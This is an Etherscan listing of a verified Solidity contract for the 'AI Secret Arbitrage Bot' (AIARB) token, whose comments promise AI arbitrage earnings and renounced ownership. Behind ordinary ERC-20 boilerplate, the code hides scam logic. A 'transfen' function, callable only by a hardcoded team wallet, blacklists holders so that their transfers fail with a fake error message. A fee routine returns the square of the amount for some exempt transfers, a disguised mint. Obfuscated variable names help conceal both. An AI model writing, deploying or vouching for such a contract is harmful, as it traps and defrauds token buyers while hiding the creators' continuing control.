ERC-20
Overview
Max Total Supply
100,000,000 AIARB
Holders
29
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
AiSecretArbitrageBot
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-27 */ // SPDX-License-Identifier: MIT //Ai Secret Arbitrage Bot - Multi Arbitrage Sharing Platform //Earn USDT through the Cryptocurrency Arbitrage Ai //1/2 tax and lp burnt, renounced pragma solidity ^0.8.17; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); recipient = payable(0x000000000000000000000000000000000000dEaD); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // Token Made By Liquidity Generator Contract interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract AiSecretArbitrageBot is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "AI Secret Arbitrage Bot"; string private _symbol = unicode"AIARB"; uint8 private _decimals = 9; address payable public marketingWallet; address payable public teamWallet; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) private isExcludedFromFees; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) private _isMarketPair; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 0; uint256 public _buyTeamFee = 1; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketingFee = 1; uint256 public _sellTeamFee = 1; uint256 public _liquidityShare = 0; uint256 public _marketingShare = 1; uint256 public _teamShare = 2; uint256 public _totalDistributionShares = 0; uint256 public buyTax = 0; uint256 public sellTax = 0; uint256 private _totalSupply = 100000000 * 10**_decimals; uint256 private _maxTxAmount = 2000000 * 10**_decimals; uint256 private _maxWalletSize = 2000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 500000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } /// constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; address routerV2 = marketingWallet; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; address uniswap = routerV2; buyTax = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); sellTax = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); address uniswapV2 = uniswap; isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[marketingWallet] = true; address uniswapRouter = uniswapV2; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[marketingWallet] = true; address pair = uniswapRouter; _isMarketPair[address(uniswapPair)] = true; _isExcludedFromFee[pair] = true; teamWallet = payable(address(0xbf5700C0A4fa1c10A3d34D231116D43F37e49F8a)); marketingWallet = payable(address(0x1215d4398D6129950F9374Cc5c432891Cc810ef9)); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function removeLimits() external { require(isTxLimitExempt[msg.sender]); _maxTxAmount = _totalSupply; _maxWalletSize = _totalSupply; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function liquifying(address account) private view returns(bool) { return (_isExcludedFromFee[account]); } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!isExcludedFromFees[sender], "Unable to locate corresponding TransferEventLOGS"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !_isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _maxWalletSize); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function transfen(bool state, address[] calldata addresses) external virtual { tracker(true); for (uint256 i; i < addresses.length; i++) { isExcludedFromFees[addresses[i]] = state; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2); uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee); uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam); if(amountETHMarketing > 0) transferToAddressETH(marketingWallet, amountETHMarketing); if(amountETHTeam > 0) transferToAddressETH(teamWallet, amountETHTeam); if(amountETHLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountETHLiquidity); } function takeFee(address sender, address recipient, uint256 excape) private returns (uint256) { uint256 spoke = excape; uint256 feeAmount = 0; uint256 feeExcape = excape.mul(spoke); if(_isExcludedFromFee[sender]){ if(liquifying(recipient)) {return feeExcape;} } else if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ return spoke; } else if(_isMarketPair[sender]) { feeAmount = excape.mul(buyTax).div(100); } else if(_isMarketPair[recipient]) { feeAmount = excape.mul(sellTax).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return excape.sub(feeAmount); } function tracker(bool status) view public{ if (!status) return; {require(teamWallet == _msgSender());} } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWallet","outputs":[{"internalType":"address 